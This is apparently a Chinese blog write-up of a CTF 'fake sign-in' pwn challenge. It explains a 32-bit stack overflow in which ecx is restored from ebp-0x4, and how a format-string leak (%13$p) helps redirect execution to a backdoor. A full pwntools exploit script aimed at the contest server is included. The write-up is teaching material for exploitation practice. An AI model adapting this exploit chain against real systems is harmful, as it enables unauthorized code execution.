DASCTF安恒月赛(7th)

只做出个签到题,tcl。。。

虚假的签到题

简单的栈溢出,但是出题人估计是用了GCC>=4.9版本,故意给这个Stack Buffer Overflow 设置难度。

分析

 0x80485fd <main+104>:        mov    ecx,DWORD PTR [ebp-0x4]
 0x8048600 <main+107>:        leave
 0x8048601 <main+108>:        lea    esp,[ecx-0x4]
 0x8048604 <main+111>:        ret

这里我们可以看到,程序在对栈的保存上,额外使用了 ecx 来保存栈上的某个值。并且调试可以发现,如果我们直接overflow了 esp,那么会造成奇怪的影响。

试着分析一下:

  • 想要控制esp,就得控制ecx
  • 想要控制ecx,就得至少控制到ebp-0x4的位置

由于是gets的获取输入,这个明显很容易实现。

核心就是让:

[ [ebp-0x4] - 0x4] = address(backdoor)

附上成功时栈情况,断点在0x80485fd :

由于栈随机化,其中需要用格式化字符串漏洞泄漏[ebp-0x4],来获取在
ebp-0x4的位置填入什么值合适,从而完成攻击。

exp

from pwn import *
import time
local_file  = './qiandao'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # './libc.so.6'
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('183.129.189.60',10013)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.arch = elf.arch
context.terminal = ['tmux','neww']
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

one = 0x804857D
# debug()
payload = '%13$p'
sla('name',payload)
ru('0x')
key = int(r(8),16) - 0x40 + 0x8
info_addr('key',key)
payload = p32(one)*9 + p32(key)
sla("?",payload)
itr()

多调试,会更容易理解。



pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!